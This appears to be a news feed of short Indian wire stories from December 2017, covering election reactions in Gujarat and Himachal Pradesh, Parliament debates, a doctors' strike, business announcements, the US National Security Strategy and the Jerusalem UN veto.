Commenting on Rahul's charge that the Gujarat election results were a setback for the BJP, Javadekar said, "Today, the Congress is nowhere in 19 states that are ruled by the BJP and its allies. The Congress is becoming extinct and the BJP is growing. Today the BJP is world's largest political party with maximum numbers of Dalit, women, Other Backward Class, Scheduled Tribes, Scheduled Caste MPs and MLAs are of the BJP and they are saying the BJP has suffered setback. This amounts to the insult of people's mandate."

He also said that the Congress and Rahul Gandhi were not able to realise the reality.

"The BJP has won Gujarat and Himachal Pradesh Assembly elections, its vote share has increased. Those who had been saying Vikas Paagal ho gaya hai (Development has gone insane) have been neglected by people. Now, if Rahul Gandhi is saying that the BJP has suffered a setback then either he is changing the meaning (of Vikas Paagal ho gaya hai) or he doesn't understand the reality."

The Union Minister added, "In fact, the Congress suffered a setback and if it doesn't realise it then there is no chance of its improvement."

On Rahul's claim that the Gujarat results were moral victory for the Congress, Javadekar said, "Congress lost in Haryana, Jammu and Kashmir, Manipur, Assam, Uttarakhand, Jharkhand, Maharashtra which were ruled by it. Apart from it, the Congress also lost Assembly elections in Telangana, and Andhra Pradesh that were held with 2014 Lok Sabha elections. The Congress has been losing one election after another under the leadership of Rahul Gandhi and if the Congress has started taking defeat as victory then congrats to it. "

Commenting on Rahul Gandhi's statement that the credibility of Prime Minister Narendra Modi has weakened, Javadekar said, "If we have an asset then it is the credibility of Prime Minister Modi who communicates directly with people. After BJP's victory in Gujarat and Himachal Pradesh Prime Minister said Development will win. He doesn't deviate from development.

Refuting Rahul's charge that Gujarat Model has failed, Javadekar said, "Gujarat has given a message that the journey of development shouldn't stop. It is due to the development that the BJP is ruling 19 states.

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Soon after the ongoing Parliament winter session resumed on Tuesday, Congress leaders in Rajya Sabha opposed the Centre's plan to set up 12 special courts to try pending criminal cases against MPs and MLAs.

Addressing the Upper House, Congress MP Anand Sharma said if the perception was created that special courts were needed only for MPs, other people should not have to bear the brunt of it. He added it had an inherent potential to be abused in entirety by the government of the day.

Sharma further asked the government to ensure adequate funds for setting up special courts to try criminal cases against politicians.

"The government should ensure allocation of adequate funds for setting up enough number of courts so that people do not remain in prison for long periods and the trial is done," he added.

Responding to the debate, Leader of Opposition in Rajya Sabha Ghulam Nabi Azad said the law should be for everyone and legislators alone should not be singled out.

"The law should be for everybody and legislators alone should not be singled out," he said.

In reply, Leader of the House and Union Finance Minister Arun Jaitley said, "Everybody must get speedy trials."

He asked if the people had vested interests in delaying trials of politicians.

Joining the debate, Samajwadi Party MP Naresh Agarwal asked Jaitley if the NDA government would create special trial courts to try those who defaulted on Rs 8 lakh crore.

On Monday, the Lok Sabha and Rajya Sabha were adjourned as Congress leaders protested in both the Houses demanding an apology from Prime Minister Narendra Modi over allegations he made against his predecessor Manmohan Singh during the campaign trail in Gujarat.

The winter session of Parliament began on December 15 and will conclude on January 5 next year.

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As the in-service doctors' strike in Rajasthan continue to rattle the daily lives of the public, the Border Security Force (BSF) doctors provided medical help at a hospital in Jaisalmer.

This happened after the health services in the state were crippled again on Saturday as doctors went on strike alleging 'suppressive action' by the state government.

The Vasundhara Raje-led state government had earlier carried out 'preventive arrests' of doctors.

An agreement between the All Rajasthan In-Service Doctors' Association (ARISDA) and the state government was earlier signed following the strike in November, but that proved to be in vain. ARISDA then announced they would go on strike from December 18 again. But, the state government invoked the Rajasthan Essential Services Maintenance Act (RESMA) to prevent doctors from going on strike.

The police arrested 55 doctors till late Saturday evening.

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Online automobile marketplace Droom on Tuesday announced its foray into the electric vehicles category. The company has tied up with major automobile brands such as Mahindra, Hero Electric, Okinawa Scooters and Yobykes to offer a portfolio of electric vehicles to its customers.

"The automobile industry in India is on the throes of disruption with the focus on electric vehicles and the increased use of artificial intelligence. The Indian government has announced that it wants only electric vehicles to ply on Indian roads by the year 2030. At Droom, our vision is to be the transaction platform for everything on motor and wheels and make their transactions easy, quick and trustworthy," said founder and CEO Droom, Sandeep Aggarwal.

"We are already the market leader with 65 percent market share in the online automobile industry and are confident that the electric vehicle category will enable us to scale newer heights and further strengthen our market share, in the future," he added.

The price range of electric scooters is from Rs. 20,000 to Rs. 42,400. However, the electric cars are priced in the range of Rs. 8 lacs to Rs. 13 lacs.

The launch of this category is in line with the Indian government's focus on electric vehicles, keeping in mind their environmental benefits, contribution in reducing the economy's spends and their long-term cost-effectiveness.

Moreover, this category will enable Droom to further strengthen its leadership position in the online automobile marketplace industry in India.

The company has already started selling electric scooters and cars from multiple brands on its platform and as a launch promotion. Droom will also be offering a 100 percent cashback on the booking amount for all new bookings of electric vehicles.

The Indian government has been working tirelessly to bring in the right infrastructure for electric vehicles.

It has also rolled out favorable schemes like 12 percent GST on electric vehicles, in comparison to 28 percent on petrol and diesel vehicles.

The government has also launched a FAME Scheme (Faster Adoption and Manufacturing of Hybrid and Electric Vehicles), a program of incentives offered to EV buyers to help improve adoption and sales.

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At least four people, including three security forces personnel, were injured in a remote controlled blast in Dera Ismail Khan on Tuesday morning, Geo News reported.

According to police sources, the blast took place near Loni check post in Dera Ismail Khan. Further details are awaited.

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Rashtriya Swayamsevak Sangh (RSS) chief Mohan Bhagwat's statement - Muslims in India are also Hindus - has stirred a controversy, with some saints supporting his remark while others opposing it.

Endorsing Bhagwat's remark, Mahanth Shakun Pandey told ANI, "His statement is laudable. This is bitter truth that every citizen who lives in India is Hindu. Those who call themselves Muslims, I ask them to check their background. They will find that their ancestors are Hindu. All Muslims are Hindu.

However, Mahant Dharmdas Maharaj slammed RSS chief's statement saying that he should refrain from making such statements.

"There is no point in raising this issue. What message he wants to give to Hindus and Muslims. They should make such statement after giving it a thought," he said.

Addressing a public function in Tripura, Bhagwat had said, "The Muslims in India are also Hindus. We have no enmity with anyone. We want welfare of all."

"Hindutva is different from Hinduism and today the disturbed Western world is eagerly waiting with expectations towards India's Hinduism and its philosophy which has its roots deep in 'Sanatan Dharm' and shall revive their society out of the curse. So, to fulfill their expectations Hinduism has become more important today," he said at a public function at Swami Vivekananda Maidan on Sunday.

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Without taking name of Congress' leader Mani Shankar Aiyar, Conference (NC) chief Farooq Abdullah said on Tuesday the grand-old party would have won Gujarat elections, had some of its leaders avoided using wrong words.

"I do not want to take any names, but if some people wouldn't have said certain wrong things then the Congress would have won in Gujarat," Abdullah said, suggesting that Congress lost due to Aiyar's "neech" remark against Prime Minister Narendra Modi.

Regarding Himachal Pradesh's result, the NC president said it was nothing new for the state as it was a regular pattern there.

"In Himachal Pradesh, one party unseats the other every five years, it is nothing new," he told media before entering Parliament house to attend winter session.

On being asked if a conspiracy to defeat Prime Minister Modi in elections was made in Pakistan, Abdullah said, "Pakistan never Conspires".

The BJP stood victorious in the Himachal Pradesh Assembly elections with 44 seats while the Congress pocketed 20 in the total 68 constituencies.

In Gujarat, the BJP won the election for the 182-member assembly with a clear majority of 99 seats.

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Bollywood actress Rani Mukerji, who took a break from the world of cinema after the birth of her daughter Adira, has come back with a bang with 'Hichki'.

The makers released the trailer via a live video on YRF's official Facebook handle, in the presence of Rani herself.

The trailer starts with Rani Mukerji, who portrays Naina Mathur in the movie, giving interviews for becoming a teacher. Naina is suffering from Tourette Syndrome, which is a neuropsychiatric disorder that causes involuntary movements and sounds.

In Naina's case, irrespective of her mood - happy, angry or even when she is addressing a serious matter - Naina involuntarily makes a sound "chuck-chuck," which her colleagues and of course, students, find funny.

However, this will not stop her from fighting against the school administration as they refuse to hire her.

When a school agrees, they tell her to teach a class comprising economically underprivileged children, whom the school was forced to enroll as part of the RTI Act.

The trailer beautifully shows the typical student-teacher divide. But the crux of the trailer is how she fights for the underprivileged children and for her as well.

The trailer of Rani Mukerji's Hichki will also be attached to Salman Khan's 'Tiger Zinda Hai', which is also produced by Yash Raj Films.

Helmed by Siddharth P Malhotra, the movie is slated to release onFebruary 23 next year.

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In what seems as an embarrassing goof-up, Pakistan Tehreek-e-Insaf Chairperson Imran Khan on Tuesday mixed the name of late Indian actress turned politician J.Jayalalithaa with her close aide Sasikala, who is currently serving jail term.

Imran, in his tweet, had wrongly stated that Indian politician Sasikala died recently, whereas she is still alive.

"Shashikala, a famous South Indian actress turned politician in India's Tamil Nadu died recently & below her house were discovered gold reserves, jewels & illegal stash of money! A msg to all corrupt Idrs: the hoarded bns stolen from our impoverished masses will be left behind," Imran said in now deleted tweet.

However, after this gaffe was caught by a Gulf News journalist Sadiq S Bhat, Imran promptly deleted his tweet.

"Dear @ImranKhanPTI you got it completely wrong. Sasikala is in jail. Her friend Jayalalitha, ex-CM of Tamil Nadu, died late last year and those pictures are obviously fake. One expects better from a senior politician like you," Bhat tweeted along with screenshot of Imran's tweet.

The pictures, which Imran had posted, were reportedly fake and had been taken from bank robberies in two different places in India.

The Supreme Court of India found Sasikala and her co-accused - Ilavarasi (her sister-in-law) and V. N. Sudhakaran (her nephew) - guilty of conspiring, laundering and amassing illicit wealth worth about Rs. 66.44 crore in the 1990s in a criminal conspiracy with Jayalalithaa.

The three have been sentenced to a four-year jail term by the apex court.

Sasikala is currently serving her jail term.

She was a close aide of J. Jayalalithaa, the former Chief Minister of Tamil Nadu, who headed AIADMK from 1989 until her death in 2016. After Jayalalithaa's death, the party's general council unanimously appointed her as the interim secretary general of AIADMK.

Sasikala was removed from the AIADMK after the factions led by Chief Minister Palanisamy and now Deputy Chief Minister O Panneerselvam, joined hands.

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Bharatiya Janata Party (BJP) leader Jairam Thakur, who is likely to take over as Himachal Pradesh chief minister, said on Tuesday that he will do whatever the party decides and will work for the development of the state.

"Whatever the party will decide I will do. I am very happy that there is going to be BJP government in Himachal Pradesh. I thank all the people of the state for voted for us. We will work for the development of the state. The party will also improve the law and order situation in Himachal Pradesh," Thakur told ANI.

Thakur won from Seraj constituency by defeating Chet Ram of the Congress.

Thakur was a cabinet minister in the BJP ministry in the hill state. He was Minister of Rural Development and Panchayati Raj.

He was elected to Himachal Pradesh Assembly from Mandi and had won his first election in the year of 1998.

Prem Kumar Dhumal, the original chief ministerial candidate, lost to Congress' Rajinder Rana.

Dhumal won 18,559 votes while Rana bagged 21,492.

The BJP has won 36 seats and was leading in eighty seats, while the Congress won 19 seats and was leading in 21 seats in the 68-member Himachal Pradesh Assembly.

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The man, arrested by Mumbai Police in connection with the fire that broke out at a shop on Khairani road on Monday morning, has been sent under police custody till December 24 by Andheri Court.

At least 12 people were killed and four others were critically injured in the incident.

The blaze erupted in the 'Bhanu' farsan (snack) shop in Makaria Compound on the Khairani Road at around 4.25 am following which the structure collapsed, the official from the Brihanmumbai Municipal Corporation (BMC)'s Disaster Management Cell said.

Twelve people working inside the shop were trapped due to intense heat and smoke.

The fire spread quickly due to the presence of electric wiring and electrical goods, huge stock of eatables and furniture inside the shop. It led to the collapse of the loft, trapping the workers under the debris, the civic official said.

Three fire engines, four jumbo water tankers, rescuers and ambulances reached the spot and launched a rescue operation, he said.

All the 12 workers were pulled out of the debris and taken to the civic-run Rajawadi Hospital in suburban Ghatkopar where they were declared dead before admission, the official said.

Four fire tankers and fire engines were immediately rushed to the spot to douse the flames.

The injured people were rushed to a hospital for treatment.

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Retired Kolkata High Court judge Justice C.S. Karnan, who was arrested in connection with a contempt of court case, will be released from Presidency Jail on Wednesday.

Justice Karnan, who was arrested on June 20 in connection with a contempt of court case, was in Kolkata's Presidency Jail after the Supreme Court refused to grant him interim bail.

A vacation bench of the apex court, headed by Justice D. Y. Chandrachud and Justice Sanjay Kishan Kaul, refused to suspend the six-month prison sentence for Justice Karnan in the case.

Mathew J Nedumpara, a lawyer appearing for Justice Karnan, mentioned the matter before the vacation bench of the top court. Nedumpara pleaded to the apex court seeking bail and suspension of the six months jail sentence, to which the court observed, "The seven judge bench had passed the order. It binds everybody. It binds us also."

Justice Karnan was arrested by the Kolkata police in Coimbatore, Tamil Nadu.

The apex court earlier on May 19 rejected Justice Karnan's plea for recall of the six-month jail term for contempt of court, stating that the petition was "not maintainable" in the court.

"I am constrained, but to hold that the present writ petition is not maintainable. The relief, if any, lies somewhere else. I, thus, see no reasonable cause to receive the present writ petition for registration under the provisions of order XV, rule (5) of the Supreme Court rules, 2013," the Supreme Court Registrar said in the order.

Justice Karnan had approached the apex court seeking recall of its order, in which he was convicted and was sentenced to six-month imprisonment.

The top court took suo motu cognizance of numerous letters written by him against judges of the Madras High Court and the apex court and restrained him from exercising administrative and judicial powers from February 8.

Karnan is the first ever sitting judge of a higher court in judicial history to be sentenced to jail term.

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Motorola on Tuesday partnered with a prominent retail chain in south India, Poorvika Mobiles, to strengthen its retail presence through Moto Hub stores across Tamil Nadu and Karnataka.

This is the first of its kind strategic partnership where customers can access and experience the entire portfolio of Motorola devices in a retail format.

"Offering premium customer experience has been a key pillar of our strategy and our partnership with Poorvika Mobiles is a step further in that direction. Moto Hub will offer unique Moto experience to customers in an environment they are familiar with, further helping us engage our customers better," said MD Motorola Mobility India, Sudhin Mathur.

"We are confident that Poorvika Mobiles' in-depth understanding of the local market and its substantial reach will be instrumental in consolidating Motorola's retail presence," added Mathur.

"We have been operating in Tamil Nadu and Karnataka for the last 15 years and have a deep understanding of the needs and challenges of our customers. While we have the strength in reach, Motorola brings in the legacy of unparalleled customer experiences making this partnership a perfect combination. We share Motorola's vision of providing premium customer experiences and are excited to kick start this relationship," said CEO Poorvika Mobiles, Uvaraj.

Motorola has been aggressively increasing its retail presence in south India; a market that has witnessed significant growth in the recent past.

As part of the strategy to consolidate its offline presence, Motorola plans to open Moto Hub over 250 Poorvika stores across the 43 cities in Tamil Nadu, Pondicherry and Karnataka.

The Moto Hub store will house the entire portfolio of Motorola devices, including the online exclusives like Moto e4+, Moto C+, Moto X4 and the popular Moto G families as well as Moto Z franchise and Moto MODs.

They will also house Motorola accessories like on-ear and in-ear headphones, moto shells and covers. The newly launched Moto Mods will also be available for customers to experience and purchase.

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An overwhelming dependence on drug imports and related raw materials from China could prove harmful for the sector in India in the long run, the Indian Pharmaceutical Congress Association (IPCA) has said.

According to the IPCA, over 75 percent of India's bulk drug imports come from China. That, according to the IPCA, means that India sources around 80 per cent of pharma raw materials to meet growing requirements of drug formulations for Indian pharmaceutical industry. This has emerged as a cause of concern for the industry, policy makers and pharmaceutical professionals of India.

"India has proven capabilities in the generic drug formulations, but over dependence on China for active pharmaceutical ingredients (APIs) from our Asian neighbour does not augur well for the Indian pharmaceutical sector, as any interruption in supply can badly impact the sector and jeopardise the of millions of people across the country" observed Dr. Shailendra Saraf, Chairman of the Organising Committee, Indian Pharmaceutical Congress (IPC 2017).

India has emerged as a key supplier of generic and affordable medicine for the world market, its overwhelming dependence on China for crucial raw materials, such as active pharmaceutical ingredients (APIs) and intermediates, to the extent of over 75 per cent of the requirement, has emerged as a main worrying area, according to the Association of of Pharmacy Teachers of India (APTI) and Indian Pharmaceutical Congress Association (IPCA).

APIs and intermediates are key raw materials to manufacture pharmaceutical formulations such as tablets, capsules, syrups, etc. Rapid growth in new medical technologies is spurring the demand for generic drugs worldwide with the increased import of raw pharma ingredients from the emerging markets.

Against this background, pharma industry and the policy makers have also raised concerns over India's rising dependence on imports from China for many APIs that go into the making of a number of essential drugs.

Dr. Saraf, who is also the Vice President of the Pharmacy Council of India, further said,"Indian pharmaceutical companies depend on China-supplied APIs only its low cost and not for any technological reason. Secondly, India has a price control mechanism in place. Since there is a control on the end product price, Indian manufacturers are unable to match the API prices offered by Chinese supplier."

Though the government has taken steps like withdrawal of exemption in customs duties, imports worth Rs 13,853 crore in 2015-16 or 65.29 per cent of the total imports of Rs 21,216 crore are not sustainable. "Over-dependence on China for APIs is likely to affect the bulk drug manufacturing sector, and subsequently have an impact on our population in plausible scenarios of drug shortages brought down by interrupted imports from single source country," said Dr. Dhirender Kaushik, the Organising Secretary of the 69th Indian Pharmaceutical Congress, adding that over-dependence on such a crucial raw material on a single country is also not advisable from India's overall strategic interests as well.

The Indian Pharmaceutical Congress is a national annual event of pharmacist from all walks of pharmacy profession to deliberate various issues relating to industry, regulatory, academia, hospital and community pharmacy and to evolve collective wisdom for formulating newer policies for the country in the relevant fields and for the betterment of mankind.

The 69th IPC will be held at Chitkara University, Chandigarh, from December 22 to 24, 2017 and will be hosted by the Association of Pharmaceuticals Teachers of India.

The theme "Skill and will to make and serve the quality pill" envisages how a pharmacist can play a leading role in the country to promote and realize the vision of Healthy India as well as stimulate discussions and thought process centered around how the country and the pharmacy profession respond to realize the vision.

Dr. Saraf said, "We hope that it will interest the budding pharmacists, pharmaceutical scientists working in research and development and the practicing pharmacist. 69th Indian Pharmaceutical Congress 2017 will take a holistic approach to empower professionally skilled pharmacists to produce quality medicines and care."

More than 8000 delegates from India and abroad are expected to participate in the Congress making it a mega event for the pharmaceutical industry.

IPCA President Dr. M D Burande explained that "the theme of the 69th IPC is an extension of the earlier IPC theme "Pharma Vision2020-Pharmacists for a Healthy India" with a punch line 'Skill and Will to Make and Serve Quality Pill'.

This will provide Congress to identify Skill areas in Pharmacy Profession and to prepare for the future to develop competent pharmacists to take care of the challenges of manufacturing quality medicines and serve the patients with ultimate pharmaceutical care. Such pharmacy skills will narrow the gap between academics and industry to achieve the objective of world class quality of medicines to make India Truly Pharma Super Power in serving humanity.

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United States Vice President Mike Pence has delayed his visit to Egypt and Israel until next month.

Earlier, he was scheduled to leave on Tuesday for the two nations visit.

The vice president's office took the decision to ensure Senate passage of the GOP (the Republican party) tax bill.

"The largest tax cut in American history is a landmark accomplishment for President Trump and a relief to millions of hardworking Americans," Pence press secretary Alyssa Farah said in a statement.

"The vice president is committed to seeing the tax cut through to the finish line," Farah further said.

The CNN news quoted a White House official as saying that Pence was now expected to leave for the visits in mid-January.

The postponement of the trip comes in the wake of global criticism of President Donald Trump's recognition of Jerusalem as Israel's capital.

Palestinian Authority President Mahmoud Abbas and the top Muslim and Coptic Christian leaders in Egypt had already cancelled their scheduled meeting with Pence after the US' Jerusalem recognition.

Additionally, there have been widespread protests in the Arab following the decision. The White House officials, however, made it clear that security concerns were not the reason for the postponement.

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Prime Minister on Tuesday was received by Tamil Nadu Chief Minister Edapadi K Palanisamy and Governor Banwarilal Purohit following his review meeting in Lakshadweep to take stock of the situation in the aftermath of Cyclone Ockhi.

The deadly cyclone recently hit the coastal states of Tamil Nadu and Kerala, leaving many people dead and several missing.

The review meeting was attended by several officials of the state and the top representatives of various agencies involved in the relief and rescue work.

Prime Minister Modi also met families of victims affected by Cyclone Ockhi in Lakshadweep's Kavaratti. He was greeted by school students on his arrival. He also met few fishermen and farmers too.

Earlier in the day, Prime Minister Modi flew from Lakshadweep to Thiruvananthapuram and met Kerala Chief Minister Pinarayi Vijayan who received him at the airport.

Prime Minister Modi had arrived yesterday in Mangaluru to review the operations.

"Leaving for Mangaluru, Karnataka. Tomorrow, I will visit Lakshadweep, Tamil Nadu, and Kerala and extensively review the situation that has arisen due to #CycloneOckhi. I will meet cyclone victims, fishermen, farmers, officials and public representatives," the prime minister tweeted last night.

The cyclone left a trail of destruction in southern and western India, Sri Lanka and the Maldives, killing 115 people and leaving over 100 missing.
Actress Sunny Leone has cancelled her participation in a New Year party event in Bengaluru, citing that the police have publicly said it cannot ensure her or any of the attendee's safety.

The event, scheduled for December 31 at Manyatha Tech Park, was denied permission by the authorities following protests by a fringe group that threatened to commit suicide if the actress attended the event wearing anything but Saree.

With the authorities denying permission for the event, Sunny took to Twitter today to announce that she has pulled out of the event.

"Since the police of Bangalore have publicly said that they will not be able to ensure mine & all who attend safety for my New Years event,my team & I feel,safety of the people should always come first therefore I cannot attend.God bless & I wish everyone a safe & happy New Year! (sic)," Sunny tweeted.

In a successive tweet, the actress addressed the youth, urging them to "never allow others to speak and choose for [them]."

"To all those who protested and to all those who supported, always remember,never allow others to speak and choose for you.Have your own voice and make your own choices. You are the youth and you are the NEW INDIA! Stand Proud and Stand together. I love you all dearly!" the tweet read.

After the event was denied permission, the organising agency, Time Creations moved Karnataka High Court challenging the directive.

Bengaluru Mayor Sampath Raj told ANI that the court's verdict will be respected, and that the Bengaluru Municipal Corporation would extend its service in case the event is allowed.

"In this country, everyone has right to ask things. If they want to go to the court, then they are most welcome. The verdict of the court will be respected by everybody, and it is up to the police department what has to be done. If the event is happening and any help is required from BBMP, we'll definitely do," Raj said.

The Bruhat Bengaluru Mahanagara Palike (BBMP) is a municipal corporation of the city.

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External Affairs Minister (EAM) Sushma Swaraj expressing concerns over reports of Sikhs being forced to convert to Islam in Hangu district of the Khyber Pakhtunkhwa province said, she will take up the matter with Pakistan government at the earliest.

"We will take this up at the highest level with Government of Pakistan. @IndiainPakistan Sikh community in Hangu 'being forced to convert'" Swaraj tweeted on Tuesday.

Earlier in the day, Chief Minister of Punjab, Capt. Amarinder Singh urged the External Affairs Minister to take up the matter at the highest level with Pakistani authorities.

"Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. It's our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels," he tweeted.

Member of Sikh community in Pakistan have reportedly lodged a complaint with the deputy commissioner of Hangu in this regard.
The United States has called for deepening strategic partnership with India in its new National Security Strategy, unveiled by President Donald Trump on Monday.

Hailing India as the "leading global power", President Trump's strategy stated it would support its leadership role in Indian Ocean security and throughout the broader region.

The NSS also sought to increase quadrilateral cooperation with India besides Japan and Australia.

"We welcome India's emergence as a leading global power and stronger strategic and defense partner. We will seek to increase quadrilateral cooperation with Japan, Australia, and India," said the 68-page document.

Calling for expanding defense and security cooperation with India, the NSS described India as the major defense partner of the United States.

It further noted that it would encourage India to increase its economic assistance and support its growing relationships throughout the region.

The security document stated that it would insist Pakistan to take decisive action against terrorist and intensify its counterterrorism efforts.

"We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials. We will insist that Pakistan take decisive action against militant and terrorist groups operating from its soil," the NSS added.

It also pointed out that U.S. continues to face threats from transnational terrorists and militants operating from within Pakistan.

The roll out of the national security strategy is the first major step by the Trump administration at forming a comprehensive strategy on the president's 'America First' worldview.

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United States President Donald Trump's first national security strategy has singled out Russia for waging "offensive cyber efforts to influence public opinion" in other countries.

Russia has been accused of meddling in the 2016 U.S. presidential election.

The White House on Monday published a 55-page document that envisions confrontations with "revisionist" powers like Russia and China, who are posing challenges to the United States and are seeking to change the global status quo, often to harm the America's interests.

"Russia uses information operations as part of its offensive cyber efforts to influence public opinion across the globe," the document states. "Its influence campaigns blend covert intelligence operations and false online personas with state-funded media, third-party intermediaries, and paid social media users or 'trolls.'"

However, the document doesn't specify the Russian interference in the elections, but it apparently referred Russia's bid at several points.

The document also points out Moscow's attempts to "interfere" in the domestic political affairs of other countries and "undermine the legitimacy of democracies."

Despite the strategy calling Russia out for 'offensive cyber efforts', Trump didn't mention cybersecurity during his speech and said, "We will develop ways to counter those who use new domains such as cyber and social media to attack our nation or threaten our society."

President Trump's national security strategy emphasises that the U.S. "will be risk informed, but not risk averse" when considering how to respond against malicious cyber actors.

"Malicious state and non-state actors use cyberattacks for extortion, information warfare, disinformation, and more," the strategy states. "Such attacks have the capability to harm large numbers of people and institutions with comparatively minimal investment and a troubling degree of deniability. These attacks can undermine faith and confidence in democratic institutions and the global economic system."

The roll out of the national security strategy is the first major step by the Trump administration at forming a comprehensive strategy on the president's 'America First' worldview.

"We will promote a balance of power that favors the United States, our allies, and our partners," the document noted. "We will never lose sight of our values and their capacity to inspire, uplift, and renew. Most of all, we will serve the American people and uphold their right to a government that prioritizes their security, their prosperity, and their interests".

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Russia has said that the United States veto of the United Nations resolution on Jerusalem is regrettable as Washington went against the will of international community.

The Russian Foreign Ministry in a statement on Tuesday said, "It is regrettable that the U.S., being a permanent member of the UN Security Council and claiming itself as a key mediator in the Palestinian-Israeli conflict, demonstrates approaches that are contrary to the international community's will."

"This dilutes the international legal basis of the Middle Eastern settlement," the statement added.

Russian Foreign Ministry's statement comes a day after the U.S. vetoed a UNSC resolution calling for the withdrawal of President Donald Trump's recognition of Jerusalem as Israel's capital.

According to CNN, fourteen council members voted in favour of the Egyptian-sponsored resolution that would have demanded President Trump reverse course on the decision.

The U.S. was the sole dissenting vote.

A spokesman for the Palestinian president, Mahmoud Abbas, responded to the veto by saying it was "unacceptable and threatens the stability of the international community because it disrespects it".

The U.S. ambassador to the U.N., Nikki Haley described the resolution as "an insult" that would not be forgotten.

"The United States will not be told by any country where we can put our embassy," she said.

"It's scandalous to say we are putting back peace efforts," she added. "The fact that this veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the security council."

The move came after the President Trump unilaterally recognised Jerusalem as Israel's capital.

The one-page Egyptian draft resolution, according to local media reports, "demands that all States comply with Security Council resolutions regarding the Holy City of Jerusalem, and not to recognize any actions or measures contrary to those resolutions."

The new resolution would need at least nine votes in favour out of 15 and no vetoes by any of the UNSC permanent members to be passed.

Without any mention of the U.S. or Trump, the resolution expresses "deep regret at recent decisions concerning the status of Jerusalem".

Trump's Jerusalem move has prompted international criticism and sparked protests across the .

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The Congress party on Tuesday questioned as to why the Centre has not filed a case against former prime minister Manmohan Singh if it believed that he hatched conspiracy with Pakistan for winning the Gujarat elections.

Congress leader Mallikarjun Kharge sought Prime Minister Narendra Modi's apology for accusing his predecessor Manmohan Singh and Congress leader Mani Shankar Aiyar of hatching a conspiracy with Pakistan for the Gujarat polls.

"Was the central government sleeping When Dr.Manmohan Singh was conspiring with Pakistan in a meeting in Delhi? Don't they have intelligence unit? Why have they not registered a case in this regard till now? It was just a lie for election campaign," he told reporters.

Kharge further said that Prime Minister's statement was false and has dented the image of the nation.

"He should either apologise or give proof of his statement. He should either prove that these people are traitors or well-wishers of the nation," he added.

During a rally in Gujarat, the prime minister had claimed that Manmohan Singh, Congress leader Mani Shankar Aiyar former vice president Hamid Ansari had attended a secret meeting at Aiyar's residence in Delhi in which the Pakistani envoy and a foreign minister of the Pakistan had also participated.

"The meeting had run for three hours and the next day, Aiyar called me "Neech" (low-born)," the prime minister said.

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Yamaha Motor runs Japan-India Institute for Manufacturing to provide technical training to the youth in Tamil Nadu capital Chennai.

It is one of the manufacturing skills training programs promoted by the Japanese and Indian governments.

This program proposes to develop a Japanese level of manufacturing talent of 30,000 persons within ten years.

Yamaha Motor NTTF Training Center is providing training to forty men and women from rural areas.

After enrollment at Yamaha Motor Chennai plant, combined with practical training, the trainees also learn Japanese-style manufacturing in the classroom.

After four years, the trainee can receive a certification as an associate degree.

A student at Yamaha Motor NTTF Training Center said, "I'm happy because I'm learning. I'm studying, getting the skills and then I'll be able to support my family".

Another student said, "I'm quite confident that Yamaha training center will give me a bright future. I'm sure that I can accomplish something big in my life".

Mukesh Kumar, Vice-President of India Yamaha Motor Pvt. Ltd. said, "Seen their progress within one month of their roping program, these people are very courageous. So result is very encouraging. Possibly we will be able to expand in the future year by year".

Riuji Kawashima, Deputy Managing Director, India Yamaha Motor Pvt Ltd said, "We started this school for two purposes: One to promote employment and education, and the other to contribute to the community. I can say it is a very good activity for all of our employees, and it boosts their motivation".

The Chennai plant of India Yamaha Motor has reached a milestone of producing a million units of two wheelers.

The company is not only helping to contribute in the manufacturing sector but helps to train the required skills for the sector.

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Indian batsman Dinesh Karthik on Tuesday lauded the young players for grabbing opportunities and are excited to play for India.

Addressing a press conference, Karthik said, "It's a great opportunity for the young boys to come in and play for us. This is the first time and a very long time, the youngsters are playing in the team."

Karthik also thanked the Indian selectors for giving them the opportunity to play for India.

"These are very exciting times for them (youngsters). Lots of guys are having Indian Premier League (IPL) experience and seniors are there to guide them. The youngsters are confident to play at the international level", added Karthik.

On being asked about the constant experimenting of the team squad, Karthik explained, "That is the selectors' decision. We are trying out new players and assessing them that how they would react to a situation, whether it's ODIs or T20s. This (T20 series) is also a platform for the young guys to go out and show their talent."

The left-handed batsman also clarified that he would be batting at No 4 position in the limited-overs format. But, if required, depending upon the situation of the match, he would be ready to bat anywhere down the middle order.

Asked about Basil Thampi, who is included in the squad, Karthik said, "Basil is a very good bowler. He is someone who bowls yorkers consistently. He is also very good in bowling slow balls and occassionally bowls the knuckle ball. He has all the ingredients for any T20 match."

India won both the Test series 1-0 and the ODI series 2-1 against Sri Lanka. They will play the first T20 international match at the Barabati Stadium in Cuttack tomorrow.

Rohit Sharma will once again captain the T20 side, in Virat Kohli's absence.

India will be looking to win the T20 series as well, as a confidence booster, ahead of their tough South Africa tour in January.

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Bank of Baroda rose 1.92% to Rs 172.30 at 9:22 IST on BSE after the bank said its board will consider raising additional funds on 22 December 2017.

The announcement was made after market hours yesterday, 18 December 2017.

Meanwhile, the S&P BSE Sensex was up 127.90 points, or 0.38% to 33,729.58.

On the BSE, 1.27 lakh shares were traded in the counter so far, compared with average daily volumes of 8.54 lakh shares in the past two weeks. The stock had hit a high of Rs 172.90 and a low of Rs 171.20 so far during the day. The stock hit a 52-week high of Rs 206.60 on 26 October 2017. The stock hit a 52-week low of Rs 133.60 on 23 October 2017.

Bank of Baroda said that its board will meet on 22 December 2017, to consider a proposal to approve raising of additional capital funds in domestic / overseas markets eligible to be reckoned as BASEL-III Compliant Additional Tier-I (AT-I) Capital. It will be over and above Rs 3000 crore already approved by the board at its meeting held on 27 May 2017.

Bank of Baroda's net profit fell 35.6% to Rs 355.36 crore on 3.7% rise in total income to Rs 12490.39 crore in Q2 September 2017 over Q2 September 2016.

Government of India holds 59.24% stake in Bank of Baroda as per the shareholding pattern as on 30 September 2017.

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Bank of Baroda said that its board will meet on 22 December 2017, to consider a proposal to approve raising of additional capital funds in domestic / overseas markets eligible to be reckoned as BASEL-III Compliant Additional Tier-I (AT-I) Capital. It will be over and above Rs 3000 crore already approved by the board at its meeting held on 27 May 2017. The announcement was made after market hours yesterday, 18 December 2017.

